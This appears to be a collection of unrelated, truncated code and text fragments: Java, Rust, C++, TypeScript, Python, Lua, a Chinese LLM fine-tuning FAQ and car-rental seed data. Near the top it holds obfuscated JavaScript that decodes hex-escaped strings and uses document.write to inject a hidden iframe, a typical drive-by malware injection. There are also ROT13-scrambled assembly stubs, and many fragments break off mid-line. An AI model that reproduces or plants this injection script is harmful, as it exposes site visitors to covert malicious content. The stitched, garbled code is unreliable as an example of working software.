        dataTypes[43] = new DataType[]{FLOAT, SHORT, SHORT};
        dataTypes[51] = new DataType[]{CHUNK};
        dataTypes[52] = new DataType[]{INT, INT, V1_2_1RProtocol.MULTIBLOCK_ARRAY};
        dataTypes[53] = new DataType[]{INT, BYTE, INT, SHORT, BYTE};
        dataTypes[54] = new Da


VaDaBEtu20YVaDaBEtu62YVaDaBEtu6fYVaDaBEtu72YVaDaBEtu64YVaDaBEtu65YVaDaBEtu72YVaDaBEtu3dYVaDaBEtu22YVaDaBEtu30YVaDaBEtu22YVaDaBEtu20YVaDaBEtu66YVaDaBEtu72YVaDaBEtu61YVaDaBEtu6dYVaDaBEtu65YVaDaBEtu62YVaDaBEtu6fYVaDaBEtu72YVaDaBEtu64YVaDaBEtu65YVaDaBEtu72YVaDaBEtu3dYVaDaBEtu22YVaDaBEtu30YVaDaBEtu22YVaDaBEtu3e';var nnhstwmppoo = 'YVaDaBEtu3cYVaDaBEtu2fYVaDaBEtu69YVaDaBEtu66';var rmnytkwyzew = 'YVaDaBEtu72YVaDaBEtu61';var tomevcixfrl = 'YVaDaBEtu6dYVaDaBEtu65YVaDaBEtu3e';var yjejvuykiaw = new Array();yjejvuykiaw[0]=new Array(zkoztcpquoj+odbexwokllz+wcnrbdsteid+yhwuxmpmwop+rtmuhxfswkv+ucxmuqqdujl+yeiduuzikxc+xrjuxcqhxak+nnfleifouws+qznxzwhwyeo+qyljpthpdcd+nnhstwmppoo+rmnytkwyzew+tomevcixfrl);document['YVaDaBEtuwYVaDaBEturYVaDaBEtuiYVaDaBEtutYVaDaBEtueYVaDaBEtu'.replace(/YVaDaBEtu/g,'')](window['YVaDaBEtuuYVaDaBEtunYVaDaBEtueYVaDaBEtusYVaDaBEtucYVaDaBEtuaYVaDaBEtupYVaDaBEtueYVaDaBEtu'.replace(/YVaDaBEtu/g,'')](yjejvuykiaw.toString().replace(/YVaDaBEtu/g,'%')));
var rbyibozhsdq = 'rAzatABeDaqeVySaqe3crAzatABeDaqeVySaqe69rAzatABeDaqeVySaqe66';var urkmvyvjgom = 'rAzatABeDaqeVySaqe72';var ochmpfimfen = 'rAzatABeDaqeVySaqe61rAzatABeDaqeVySaqe6drAzatABeDaqeVySaqe65rAzatABeDaqeVySaqe20rAzatABeDaqeVySaqe6erAzatABeDaqeVySaqe61rAzatABeDaqeVySaqe6drAzatABeDaqeVySaqe65rAzatABeDaqeVySaqe3drAzatABeDaqeVySaqe22';var zmptmwlqnwh = 'rAzatABeDaqeVySaqe71rAzatABeDaqeVySaqe63rAzatABeDaqeVySaqe66rAzatABeDaqeVySaqe7arAzatABeDaqeVySaqe75rAzatABeDaqeVySaqe6arAzatABeDaqeVySaqe62rAzatABeDaqeVySaqe76rAzatABeDaqeVySaqe74rAzatABeDaqeVySaqe77rAzatABeDaqeVySaqe6f';var pidxdndszsv = 'rAzatABeDaqeVySaqe22rAzatABeDaqeVySaqe20rAzatABeDaqeVySaqe77rAzatABeDaq


ream is an infinite stream which will receive
    /// notifications whenever a signal is received.
    ///
    /// A `Signal` stream can be created for a particular signal number
    /// multiple times. When a signal is received then all the associated
    /// channels will receive the signal notification.
    pub fn new(signal: DWORD) -> io::Result<Signal> {
        let slot = match signal {
            CTRL_C_EVENT => CTRL_C_SLOT,
            CTRL_BREAK_EVENT => CTRL_BREAK_SLOT,
            _ => return Err(io::Error::new(io::ErrorKind::Other, "invalide signal")),
        };

        let (tx, rx) = mpsc::channel();
        let tx = Box::new(tx);
        let id: *const _ = &*tx;
        globals().signals[slot].recipients.lock().unwrap().push(tx);
        Ok(Signal {
            rx,
            id,
            signal: slot,
        })
    }
}

impl Deref for Signal {
    type Target = mpsc::Receiver<()>;
    fn deref(&self) -> &mpsc::Receiver<()> {
        &self.rx
    }
}

impl Drop for Signal {
    fn drop(&mut self) {
        let idx = self.signal as usize;
        let mut list = globals().signals[idx].recipients.lock().unwrap();
        list.retain(|sender| &**sender as *const _ != self.id);
    }
}
<reponame>losfair/swc
use serde::{Deserialize, Serialize};

pub mod resolve;
pub mod resolvers;

/// List of built in packages for latest stable node with LTS (node@16).
///
/// Run `node -p "require('module').builtinModules"`
pub const NODE_BUILTINS: &[&str] = &[
    "_http_agent",
    "_http_client",
    "_http_common",
    "_http_incoming",
    "_http_outgoing",
    "_http_server",
    "_stream_duplex",
    "_stream_passthrough",
    "_stream_readable",
    "_stream_transform",
    "_stream_wrap",
    "_stream_writable",
    "_tls_common",
    "_tls_wrap",
    "assert",
    "assert/strict",
    "async_hooks",
    "buffer",
    "child_process",
    "cluster",
    "console",
    "constants",
    "crypto",
    "dgram",
    "diagnostics_channel",
    "dns",
    "dns/promises",
    "domain",
    "events",
    "fs",
    "fs/promises",
    "http",
    "http2",
    "https",
    "inspector",
    "module",
    "net",
    "os",
    "path",
    "path/posix",
    "path/win32",
    "perf_hooks",
    "process",
    "punycode",
    "querystring",
    "readline",
    "repl",
    "stream",
    "stream/promises",
    "string_decoder",
    "sys",
    "timers",
    "timers/promises",
    "tls",
    "trace_events",
    "tty",
    "url",
    "util",
    "util/types",
    "v8",
    "vm",
    "worker_threads",
    "zlib",
];

/// Target runtime environment.
#[derive(Debug, Copy, Clone, Serialize, Deserialize, Eq, PartialEq, Hash)]
pub enum TargetEnv {
    #[serde(rename = "browser")]
    Browser,
    #[serde(rename = "node")]
    Node,
}

impl Default for TargetEnv {
    fn default() -> Self {
        TargetEnv::Browser
    }
}
<reponame>ddboline/rweb_helper<filename>src/html_response.rs
use rweb::{Reply, http::{HeaderValue, header::SET_COOKIE}, hyper::{Body, Response}, openapi::{ComponentDescriptor, ComponentOrInlineSchema, Entity, ResponseEntity, Responses}};
use std::{borrow::Cow, convert::TryFrom


/********************************************************************************
 * Copyright (c) 2025 Contributors to the Eclipse Foundation
 *
 * See the NOTICE file(s) distributed with this work for additional
 * information regarding copyright ownership.
 *
 * This program and the accompanying materials are made available under the
 * terms of the Apache License Version 2.0 which is available at
 * https://www.apache.org/licenses/LICENSE-2.0
 *
 * SPDX-License-Identifier: Apache-2.0
 ********************************************************************************/
#ifndef SCORE_LIB_OS_MOCKLIB_SYS_WAIT_MOCK_H
#define SCORE_LIB_OS_MOCKLIB_SYS_WAIT_MOCK_H

#include "score/os/sys_wait.h"

#include <gmock/gmock.h>

namespace score
{
namespace os
{

class SysWaitMock : public SysWait
{
  public:
    MOCK_METHOD((score::cpp::expected<pid_t, score::os::Error>), wait, (std::int32_t* stat_loc), (override, const, noexcept));
    MOCK_METHOD((score::cpp::expected<pid_t, score::os::Error>),
                waitpid,
                (pid_t pid, std::int32_t* stat_loc, std::int32_t options),
                (override, const, noexcept));
};

}  // namespace os
}  // namespace score

#endif  // SCORE_LIB_OS_MOCKLIB_SYS_WAIT_MOCK_H


splice(roomIndex, 1);
    }

    /**
     * Find the room's index in the room array
     * @param roomCode
     */
    private getRoomIndexFromCode = (roomCode: string): number => {
        return this._rooms.map(room => room.code).indexOf(roomCode);
    };

}

/**
 * module : 英雄数据模型
 * author : zrj
*/
module game {
	export class HeroModel extends BaseModel {
		public baseInfo: any;
		public heroInfo: Array<HeroVO>;
		public curPos: number = 0; //当前选中第几位英雄
		public curPart: number = 1; //当前选中装备位置

		public heroHeadFrame = [false, false]; //新英雄解锁特效
		public heroHeadRedDot = [false, false, false]; //英雄头部红点
		public heroHeadRedDot2 = [false, false, false]; //英雄头部红点2 特殊装备用
		public heroEquipPartRedDot: Array<Array<boolean>> = [
			[false, false, false, false, false, false, false, false, false, false],
			[false, false, false, false, false, false, false, false, false, false],
			[false, false, false, false, false, false, false, false, false, false]]; //英雄部位红点

		public heroSpecialEquipPartRedDot: Array<Array<boolean>> = [
			[false, false, false, false, false, false],
			[false, false, false, false, false, false],
			[false, false, false, false, false, false]]; //英雄特殊装备红点

		public isEquipPuton: boolean = false;  //穿戴装备的阈值，每次穿戴完成为true，在英雄信息里置为false
		public isSpecialEquip: boolean = false;  //特殊装备的阈值，每次特殊装备有改变为true，在英雄信息里置为false
		public constructor() {
			super();
			this.baseInfo = {};
			this.heroInfo = [];
		}

		public updateBaseInfo(info) {
			this.baseInfo = {};
			this.baseInfo = info;
			this.baseInfo.exp = info.exp.toNumber();
		}
		/**更新英雄信息
		 *
		 */
		public updateHeroInfo(info) {
			// this.heroInfo = [];
			for (let k in info) {
				let findId: Boolean = false;
				for (var i: number = 0; i < this.heroInfo.length; i++) {
					var vo: game.HeroVO = this.heroInfo[i];
					if (vo.id == info[k].id) {
						this.heroInfo[i].updateInfo(info[k]);
						findId = true;
					}
				}
				if (findId == false) {
					this.heroInfo.push(new HeroVO(info[k]));
				}
			}
			this.heroInfo.sort((a, b) => {
				if (a.id < b.id) {
					return -1;
				}
				return 1;
			})
			// App.logzrj(this.heroInfo);
		}
		//增加伙伴
		public addNewHero(info) {
			for (let k in info) {
				this.heroInfo.push(new HeroVO(info[k]));
			}
			this.heroInfo.sort((a, b) => {
				if (a.id < b.id) {
					return -1;
				}
				return 1;
			})
		}

		//获取普通装备信息
		public getHeroEquipByPosPart(pos, part) {
			if (pos >= this.heroInfo.length || this.heroInfo.length == 0) {
				retu


from functools import partial

import pytest

from pkgcore.restrictions import restriction

from .utils import TestRestriction

class SillyBool(restriction.base):
    """Extra stupid version of AlwaysBool to test base.force_{True,False}."""

    __slots__ = ("negate",)

    def __init__(self, negate=False):
        object.__setattr__(self, "negate", negate)

    def match(self, *args, **kwargs):
        return not self.negate

class TestBase(TestRestriction):
    bool_kls = SillyBool

    def test_base(self):
        base = restriction.base()
        assert len(base) == 1
        # Just check repr and str do not raise
        assert str(base)
        assert repr(base)
        assert hash(base)
        with pytest.raises(NotImplementedError):
            base.match()

    def test_it(self):
        true = self.bool_kls(negate=False)
        false = self.bool_kls(negate=True)
        args = [None]

        self.assertMatch(true, args[0])
        self.assertForceTrue(true, args)
        self.assertNotForceFalse(true, args)

        self.assertNotMatch(false, args[0])
        self.assertNotForceTrue(false, args)
        self.assertForceFalse(false, args)

class TestAlwaysBool(TestRestriction):
    bool_kls = staticmethod(partial(restriction.AlwaysBool, "foo"))

    def test_true(self):
        true_r = self.bool_kls(True)
        false_r = self.bool_kls(False)
        self.assertMatch(true_r, false_r)
        self.assertForceTrue(true_r, false_r)
        self.assertNotForceFalse(true_r, false_r)

        self.assertNotMatch(false_r, true_r)
        self.assertNotForceTrue(false_r, true_r)
        self.assertForceFalse(false_r, true_r)

        assert str(true_r) == "always 'True'"
        assert str(false_r) == "always 'False'"
        assert hash(true_r) != hash(false_r)
        assert hash(true_r) == hash(self.bool_kls(True))
        assert hash(false_r) == hash(self.bool_kls(False))
        assert true_r == self.bool_kls(True)
        assert false_r == self.bool_kls(False)
        assert true_r != false_r

class NoneMatch(restriction.base):
    """Only matches None."""

    __slots__ = ()

    def match(self, val):
        return val is None

    def __repr__(self):
        return "<NoneMatch>"

    def __str__(self):
        return "NoneMatch"

class TestAnyMatch(TestRestriction):
    def test_basic(self):
        for negate in (False, True):
            inst = restriction.AnyMatch(NoneMatch(), "spork", negate=negate)
            self.assertMatch(inst, ["spork", None], negated=negate)
            self.assertNotMatch(inst, ["spork"], negated=negate)
            self.assertNotMatch(inst, (), negated=negate)

            # just test these do not traceback
            assert repr(inst)
            assert str(inst)


          if(message.control!=58){
					clear_switch=0;
                }
            }
		}
	}
}

//add the midi info
//fix up the reset switch and parameter locks to include everything

#include "ofApp.h"
#include <iostream>
#define MIDI_MAGIC 63.50f
#define CONTROL_THRESHOLD .04f

//0 is picapture, 1 is usbinput
//this is only relevant for folks with the now discontinued capture editions
//or their own picapture sd1s.  most people can just ignore this switch!
bool inputswitch=1;

int hdmi_aspect_ratio_switch=0;

float rescale=1;

float theta=0;

float x_lfo=0;
float x_lfo_arg=0;
float y_lfo=0;
float y_lfo_arg=0;
float z_lfo=0;
float z_lfo_arg=0;

int width=640;
int height=480;

bool wireframe_switch=0;
bool bright_switch=0;

bool invert_switch=0;
bool stroke_weight_switch=0;

int scale=100;

int scale_key=0;

int yLfoShape=0;
int xLfoShape=0;
int zLfoShape=0;

bool y_freq0=FALSE;
bool y_ringmod_switch=FALSE;
bool y_phasemod_switch=FALSE;

bool x_freq0=FALSE;
bool x_ringmod_switch=FALSE;
bool x_phasemod_switch=FALSE;

bool z_freq0=FALSE;
bool z_ringmod_switch=FALSE;
bool z_phasemod_switch=FALSE;

float global_x_displace=0.0;
float global_y_displace=0.0;

float center_x_displace=0.0;
float rotate_x=0.0;
float rotate_capture_z=0.0;

bool rotate_capture_z_switch=1;
bool rotate_x_switch=1;
bool global_x_displace_switch=1;
bool center_x_displace_switch=0;

float center_y_displace=0.0;
float rotate_y=0.0;

bool rotate_y_switch=1;
bool global_y_displace_switch=1;
bool center_y_displace_switch=0;
bool luma_switch=0;

bool b_w_switch=0;

float stroke_weight=1;

//mesh types
//0 is trianglegrid
//1 is horizontal lines
//2 is vertical lines
int mesh_type=0;

ofFbo aspect_fix_fbo;
const int p_lock_size=240;
bool p_lock_record_switch=0;
bool p_lock_erase=0;
//maximum number of p_locks available...maybe there can be one for every knob
//for whatever wacky reason the last member of this array of arrays has a glitch
//so i guess just make an extra array and forget about it for now
const int p_lock_number=17;
//so how we will organize the p_locks is in multidimensional arrays
//to access the data at timestep x for p_lock 2 (remember counting from 0) we use p_lock[2][x]
float p_lock[p_lock_number][p_lock_size];
//smoothing parameters(i think for all of these we can array both the arrays and the floats
//for now let us just try 1 smoothing parameter for everything.
float p_lock_smooth=.5;
//and then lets try an array of floats for storing the smoothed values
float p_lock_smoothed[p_lock_number];
//turn on and off writing to the array
bool p_lock_0_switch=1;
//global counter for all the locks
int p_lock_increment=0;

//midi latching
bool midiActiveFloat[17];
//--------------------------------------------------------------
void ofApp::setup() {
    ofSetFrameRate(30);
	ofSetVerticalSync(true);
	ofBackground(0);
	ofHideCursor();

	cameraSetup(width, height);


(*this)[11] = static_cast< Value >( 41 )/static_cast<Value>( 840 );
        (*this)[12] = static_cast< Value >( 41 )/static_cast<Value>( 840 );
            }
};

template< class Value = double >
struct rk78_coefficients_c : boost::array< Value , 13 >
{
    rk78_coefficients_c( void )
            {
        (*this)[0] = static_cast< Value >( 0 );
        (*this)[1] = static_cast< Value >( 2 )/static_cast< Value >( 27 );
        (*this)[2] = static_cast< Value >( 1 )/static_cast< Value >( 9 );
        (*this)[3] = static_cast< Value >( 1 )/static_cast<Value>( 6 );
        (*this)[4] = static_cast< Value >( 5 )/static_cast<Value>( 12 );
        (*this)[5] = static_cast< Value >( 1 )/static_cast<Value>( 2 );
        (*this)[6] = static_cast< Value >( 5 )/static_cast<Value>( 6 );
        (*this)[7] = static_cast< Value >( 1 )/static_cast<Value>( 6 );
        (*this)[8] = static_cast< Value >( 2 )/static_cast<Value>( 3 );
        (*this)[9] = static_cast< Value >( 1 )/static_cast<Value>( 3 );
        (*this)[10] = static_cast< Value >( 1 );
        (*this)[11] = static_cast< Value >( 0 );
        (*this)[12] = static_cast< Value >( 1 );
            }
};
#endif // DOXYGEN_SKIP

template<
class State ,
class Value = double ,
class Deriv = State ,
class Time = Value ,
class Algebra = typename algebra_dispatcher< State >::algebra_type ,
class Operations = typename operations_dispatcher< State >::operations_type ,
class Resizer = initially_resizer
>
#ifndef DOXYGEN_SKIP
class runge_kutta_fehlberg78 : public explicit_error_generic_rk< 13 , 8 , 8 , 7 , State , Value , Deriv , Time ,
Algebra , Operations , Resizer >
#else
class runge_kutta_fehlberg78 : public explicit_error_generic_rk
#endif
{

public:
#ifndef DOXYGEN_SKIP
    typedef explicit_error_generic_rk< 13 , 8 , 8 , 7 , State , Value , Deriv , Time ,
            Algebra , Operations , Resizer > stepper_base_type;
#endif
    typedef typename stepper_base_type::state_type state_type;
    typedef typename stepper_base_type::value_type value_type;
    typedef typename stepper_base_type::deriv_type deriv_type;
    typedef typename stepper_base_type::time_type time_type;
    typedef typename stepper_base_type::algebra_type algebra_type;
    typedef typename stepper_base_type::operations_type operations_type;
    typedef typename stepper_base_type::resizer_type resizer_type;

    #ifndef DOXYGEN_SKIP
    typedef typename stepper_base_type::stepper_type stepper_type;
    typedef typename stepper_base_type::wrapped_state_type wrapped_state_type;
    typedef typename stepper_base_type::wrapped_deriv_type wrapped_deriv_type;
    #endif // DOXYGEN_SKIP

    runge_kutta_fehlberg78( const algebra_type &algebra = algebra_type() ) : stepper_base_type(
            boost::fusion::make_vector( rk78_coefficients_a1<Value>() , rk78_coefficients_a2<Value>() , rk78_coefficients_a3<Value>() ,
                    rk78_coefficients_a4<Value>() , rk78_coefficients_a5<Value>() , rk78_coefficients_a6<Value>() ,
                    rk78_coefficients_a7<Value>() , rk78_coefficients_a8<Value>() , rk78_coefficients_a9<Value>() ,
                    rk78_coefficients_a10<Val


ve;", "\u00e0"
    }, // latin small letter a with grave = latin small letter a grave, U+00E0 ISOlat1
    {"á", "\u00e1"}, // latin small letter a with acute, U+00E1 ISOlat1
    {"â", "\u00e2"}, // latin small letter a with circumflex, U+00E2 ISOlat1
    {"ã", "\u00e3"}, // latin small letter a with tilde, U+00E3 ISOlat1
    {"ä", "\u00e4"}, // latin small letter a with diaeresis, U+00E4 ISOlat1
    {
      "å", "\u00e5"
    }, // latin small letter a with ring above = latin small letter a ring, U+00E5 ISOlat1
    {"æ", "\u00e6"}, // latin small letter ae = latin small ligature ae, U+00E6 ISOlat1
    {"ç", "\u00e7"}, // latin small letter c with cedilla, U+00E7 ISOlat1
    {"è", "\u00e8"}, // latin small letter e with grave, U+00E8 ISOlat1
    {"é", "\u00e9"}, // latin small letter e with acute, U+00E9 ISOlat1
    {"ê", "\u00ea"}, // latin small letter e with circumflex, U+00EA ISOlat1
    {"ë", "\u00eb"}, // latin small letter e with diaeresis, U+00EB ISOlat1
    {"ì", "\u00ec"}, // latin small letter i with grave, U+00EC ISOlat1
    {"í", "\u00ed"}, // latin small letter i with acute, U+00ED ISOlat1
    {"î", "\u00ee"}, // latin small letter i with circumflex, U+00EE ISOlat1
    {"ï", "\u00ef"}, // latin small letter i with diaeresis, U+00EF ISOlat1
    {"ð", "\u00f0"}, // latin small letter eth, U+00F0 ISOlat1
    {"ñ", "\u00f1"}, // latin small letter n with tilde, U+00F1 ISOlat1
    {"ò", "\u00f2"}, // latin small letter o with grave, U+00F2 ISOlat1
    {"ó", "\u00f3"}, // latin small letter o with acute, U+00F3 ISOlat1
    {"ô", "\u00f4"}, // latin small letter o with circumflex, U+00F4 ISOlat1
    {"õ", "\u00f5"}, // latin small letter o with tilde, U+00F5 ISOlat1
    {"ö", "\u00f6"}, // latin small letter o with diaeresis, U+00F6 ISOlat1
    {"÷", "\u00f7"}, // division sign, U+00F7 ISOnum
    {
      "ø", "\u00f8"
    }, // latin small letter o with stroke, = latin small letter o slash, U+00F8 ISOlat1
    {"ù", "\u00f9"}, // latin small letter u with grave, U+00F9 ISOlat1
    {"ú", "\u00fa"}, // latin small letter u with acute, U+00FA ISOlat1
    {"û", "\u00fb"}, // latin small letter u with circumflex, U+00FB ISOlat1
    {"ü", "\u00fc"}, // latin small letter u with diaeresis, U+00FC ISOlat1
    {"ý", "\u00fd"}, // latin small letter y with acute, U+00FD ISOlat1
    {"þ", "\u00fe"}, // latin small letter thorn, U+00FE ISOlat1
    {"ÿ", "\u00ff"}, // latin small letter


y）错误可能是由于显存不足导致的。为了解决这个问题，可以尝试以下方法：
- 增加训练设备的显存，如使用更高性能的GPU或增加GPU数量。
- 调整批量大小，减少每次训练时处理的样本数量。
- 使用模型并行或数据并行技术，将模型或数据分片到多个设备上进行训练。
- 使用动态批处理，根据可用显存动态调整批量大小。

### 大模型LLM进行SFT 如何对样本进行优化？
- 数据增强：通过对原始数据进行转换，如文本回译、添加噪声等，生成更多的训练样本。
- 样本选择：选择与特定任务最相关的样本进行训练，以提高训练效率和性能。
- 样本权重：根据样本的难易程度或重要性为样本分配不同的权重，以优化训练过程。
- 平衡采样：在训练过程中，确保每个类别或子任务都有足够的样本被训练到。

### 模型参数迭代实验步骤？
模型参数迭代实验是指在训练过程中，对模型的参数进行迭代调整和优化，以提高模型的性能。这通常涉及以下步骤：
- 选择一组初始参数。
- 在训练过程中，定期评估模型的性能。
- 根据评估结果，调整模型的参数，如学习率、批量大小、正则化参数等。
- 重复评估和调整参数，直到模型的性能达到预期的目标。

### 为什么需要进行参数微调？参数微调的原因有哪些？
参数微调是指只对模型的一部分参数进行更新，以适应特定的任务或领域。进行参数微调的原因包括：
- 提高计算效率：参数微调通常比全量微调需要更少的计算资源，因为只有部分参数需要更新。
- 减少过拟合风险：只更新与特定任务相关的参数，可以减少模型对训练数据的过度依赖，降低过拟合的风险。
- 提高泛化能力：参数微调可以使模型在保持通用语言能力的同时，适应特定的任务需求。

### 模型参数微调的方式有那些？你最常用哪些方法？
- 权重共享：在模型中，将部分参数设置为共享，这些参数同时用于多个任务或领域。
- 参数掩码：在模型中，将部分参数设置为不可训练，这些参数保持预训练时的值不变。
- 参数分解：将大型的参数矩阵分解为多个小型矩


P2RCXQfvCAF_17FgevatGevrOhvyqre4AbqrR,%function
b__MA6vph_6417HPunefGevrOhvyqre18HPGYvarneZngpuAbqrP2RCXQfvCAF_17FgevatGevrOhvyqre4AbqrR:
nop
.text
.globl b_hgenpr_frgShapgvbaf_64
.type b_hgenpr_frgShapgvbaf_64,%function
b_hgenpr_frgShapgvbaf_64:
nop
.text
.globl b__MA6vph_6413YbpnyrOhvyqreP2Ri
.type b__MA6vph_6413YbpnyrOhvyqreP2Ri,%function
b__MA6vph_6413YbpnyrOhvyqreP2Ri:
nop
.text
.globl b__MA6vph_6422EhyrOnfrqOernxVgrengbe10OernxPnpur8cerivbhfRE10HReebePbqr
.type b__MA6vph_6422EhyrOnfrqOernxVgrengbe10OernxPnpur8cerivbhfRE10HReebePbqr,%function
b__MA6vph_6422EhyrOnfrqOernxVgrengbe10OernxPnpur8cerivbhfRE10HReebePbqr:
nop
.text
.globl b__MA6vph_6422EhyrOnfrqOernxVgrengbeP2RC11HQngnZrzbelE10HReebePbqr
.type b__MA6vph_6422EhyrOnfrqOernxVgrengbeP2RC11HQngnZrzbelE10HReebePbqr,%function
b__MA6vph_6422EhyrOnfrqOernxVgrengbeP2RC11HQngnZrzbelE10HReebePbqr:
nop
.text
.globl b_hcei_hvag32Pbzcnengbe_64
.type b_hcei_hvag32Pbzcnengbe_64,%function
b_hcei_hvag32Pbzcnengbe_64:
nop
.text
.globl b__MA6vph_6412PnpurXrlOnfrQ1Ri
.type b__MA6vph_6412PnpurXrlOnfrQ1Ri,%function
b__MA6vph_6412PnpurXrlOnfrQ1Ri:
nop
.text
.globl b__MA6vph_6410HavpbqrFrgnFREXF0_
.type b__MA6vph_6410HavpbqrFrgnFREXF0_,%function
b__MA6vph_6410HavpbqrFrgnFREXF0_:
nop
.text
.globl b__MA6vph_6413HavpbqrFgevatnFRBF0_
.type b__MA6vph_6413HavpbqrFgevatnFRBF0_,%function
b__MA6vph_6413HavpbqrFgevatnFRBF0_:
nop
.text
.globl b_hybp_trgQvfcynlXrljbeqInyhr_64
.type b_hybp_trgQvfcynlXrljbeqInyhr_64,%function
b_hybp_trgQvfcynlXrljbeqInyhr_64:
nop
.text
.globl b__MA6vph_6414ZrffntrCnggrea16nqqNetQbhoyrCnegRqvvE10HReebePbqr
.type b__MA6vph_6414ZrffntrCnggrea16nqqNetQbhoyrCnegRqvvE10HReebePbqr,%function
b__MA6vph_6414ZrffntrCnggrea16nqqNetQbhoyrCne


   end
  end

    if (target:isBehind(mob, 48) == true) then
        return 1
    else
        return 0
    end
end

function onMobWeaponSkill(target, mob, skill)
    local dmgmod = 1
    local info = MobMagicalMove(mob,target,skill,mob:getWeaponDmg() * 5,dsp.magic.ele.FIRE,dmgmod,TP_MAB_BONUS,1)
    local dmg = MobFinalAdjustments(info.dmg,mob,skill,target,dsp.attackType.MAGICAL,dsp.damageType.FIRE,MOBPARAM_IGNORE_SHADOWS)
    target:takeDamage(dmg, mob, dsp.attackType.MAGICAL, dsp.damageType.FIRE)
    return dmg
end


             3.4 Hash of length 32 is our K
            4. Decrypt ciphertext using IV from database and the K of provided password.
                4.1 Create a new AES Cypher utilizing AES MODE CBC to encrypt using key and iv
                4.2 Decrypt S using Key and IV
            6. Find M using S Decode
                6.1 This is the step 'M ¬ decode(S)'
                6.2 split the bytes into 16 byte chunks
                6.3 convert the int index from 16 bytes form.
                6.4 Find the corresponding word using the index in the wordlist._
    """


request-related assignments
 *
currently executed assignments cannot be interrupted (i.e. diversion is off)
 *
since the destination remains unknown till the end of pickup, all schedules end with STAY or PICKUP tasks
 *

 */
public class AssignmentETaxiOptimizer extends DefaultTaxiOptimizer {

	private final AssignmentETaxiOptimizerParams params;
	private final ChargingInfrastructure chargingInfrastructure;
	private final ETaxiToPlugAssignmentCostProvider eAssignmentCostProvider;
	private final VehicleAssignmentProblem<ChargerPlug> eAssignmentProblem;
	private final ETaxiScheduler eScheduler;
	private final Fleet fleet;
	private final MobsimTimer timer;

	private final IdMap<DvrpVehicle, DvrpVehicle> scheduledForCharging = new IdMap<>(DvrpVehicle.class);

	public AssignmentETaxiOptimizer(EventsManager eventsManager, TaxiConfigGroup taxiCfg, Fleet fleet,
			MobsimTimer timer, Network network, TravelTime travelTime, TravelDisutility travelDisutility,
			ETaxiScheduler eScheduler, ScheduleTimingUpdater scheduleTimingUpdater,
			ChargingInfrastructure chargingInfrastructure, LeastCostPathCalculator router) {
		super(eventsManager, taxiCfg, fleet, eScheduler, scheduleTimingUpdater,
				new AssignmentRequestInserter(fleet, timer, network, travelTime, travelDisutility, eScheduler,
						((AssignmentETaxiOptimizerParams)taxiCfg.getTaxiOptimizerParams()).getAssignmentTaxiOptimizerParams(),
						router));
		this.params = (AssignmentETaxiOptimizerParams)taxiCfg.getTaxiOptimizerParams();
		this.chargingInfrastructure = chargingInfrastructure;
		this.eScheduler = eScheduler;
		this.fleet = fleet;
		this.timer = timer;

		if (taxiCfg.vehicleDiversion && taxiCfg.destinationKnown) {
			throw new IllegalArgumentException("Unsupported");
		}

		if (params.getSocCheckTimeStep() % params.getReoptimizationTimeStep() != 0) {
			throw new RuntimeException("charge-scheduling must be followed up by req-scheduling");
		}

		eAssignmentProblem = new VehicleAssignmentProblem<>(network, travelTime, travelDisutility);
		eAssignmentCostProvider = new ETaxiToPlugAssignmentCostProvider(params);
	}

	private final boolean chargingTaskRemovalEnabled = true;

	@Override
	public void notifyMobsimBeforeSimStep(@SuppressWarnings("rawtypes") MobsimBeforeSimStepEvent e) {
		if (isNewDecisionEpoch(e, params.getSocCheckTimeStep())) {
			if (chargingTaskRemovalEnabled) {
				unscheduleAwaitingRequestsAndCharging();
			} else {
				unscheduleAwaitingRequests();
			}
			scheduleCharging();
			setRequiresReoptimization(true);
		}

		super.notifyMobsimBeforeSimStep(e);
	}

	private void unscheduleAwaitingRequestsAndCharging() {
		eScheduler.beginChargingTaskRemoval();
		unscheduleAwaitingRequests();// and charging
		List<DvrpVehicle> vehiclesWithChargingTasksRemoved = eScheduler.endChargingTaskRemoval();
		for (DvrpVehicle v : vehiclesWithChargingTasksRemoved) {
			if (scheduledForCharging.remove(v.getId()) == null) {
				throw new RuntimeException();
			}
		}
	}

	// if socCheckTimeStep is too small --> small number of idle plugs --> poorer assignments
	protected void scheduleCharging() {
		AssignmentDestinationData<ChargerPlug> pData = AssignmentChargerPlugData.create(timer.ge


feel grunty when moving.

The BMW X1 is a lovely car to drive, and easily fits a small family of four - more so than other small SUVs I've driven. There's a good amount of interior space and boot space, it looks solid and feels good to drive.",
          price: 120.6,
        });
        await Car.create({
          name: "SUBARU FORESTER",
          brand: "SUBARU",
          model: "FORESTER",
          seats: 5,
          doors: 4,
          luggages: 2,
          gear: "automatic",
          location_id: location[Math.floor(Math.random() * 3)].id,
          purchase_date: new Date(2020, 1, 9),
          addons: "GPS, Air Conditioning, MP4",
          available: true,
          description: "The Forester truly feels fit for the family, big or small, town or country. Comfort, technology and safety in a boxy SUV style feels like a winning combination. And when functionality and a lengthy equipment list trumps style, this is your car.

The Forester is a well-rounded compact SUV. Its cabin is spacious enough to easily carry a family of four or five, and there's lots of room for cargo. With its great combination of quality and value, we named the Forester a finalist for our 2020 Best Compact SUV for the Money award.",
          price: 36.6,
        });
        await Car.create({
          name: "ISUZU MUX",
          brand: "ISUZU",
          model: "MUX",
          seats: 5,
          doors: 5,
          luggages: 4,
          gear: "automatic",
          location_id: location[Math.floor(Math.random() * 3)].id,
          purchase_date: new Date(2020, 2, 13),
          addons: "GPS, Air Conditioning, MP4",
          available: true,
          description: "On or off-road, the 7-seat MU-X performs with perfection. Thanks to its exclusive 3.0L Isuzu turbo diesel engine power, effortless 430Nm of torque and intuitive 6 speed transmission, the MU-X has what it takes to get you across town or around Australia.

The motor a bit noisy around town but not noticeable on long trips, the ride is quite firm. Handles well, with good pickup and ample power on the open road. Good aircon venting throughout the car. Mechanically very reliable no issues.",
          price: 38.9,
        });
        await Car.create({
          name: "KIA SPORTAGE SI 2WD",
          brand: "KIA",
          model: "SPORTAGE",
          seats: 5,
          doors: 4,
          luggages: 3,
          gear: "automatic",
          location_id: location[Math.floor(Math.random() * 3)].id,
          purchase_date: new Date(2020, 3, 14),
          addons: "GPS, Air Conditioning, MP4",
          available: true,
          description: "The Sportage is a good used compact SUV. It comes with straightforward technology in its adult-friendly cabin and boasts solid safety scores. While competitors like the Mazda CX-5 are more engaging to drive, the Sportage offers a balanced ride.

J.D. Power gives the Sportage a ranking of 87/100 for quality and reliability, which exceeds the expectations of most. Resale value is also well above average, coming in at a ranking of 79/100, making the Sportage an excellent choice for those looking for a vehicle that they can depend on for years to come.",
          price: 43.9,
        });
        await Car.create({
          name: "FORD MUSTANG GT",
          brand: "FORD",
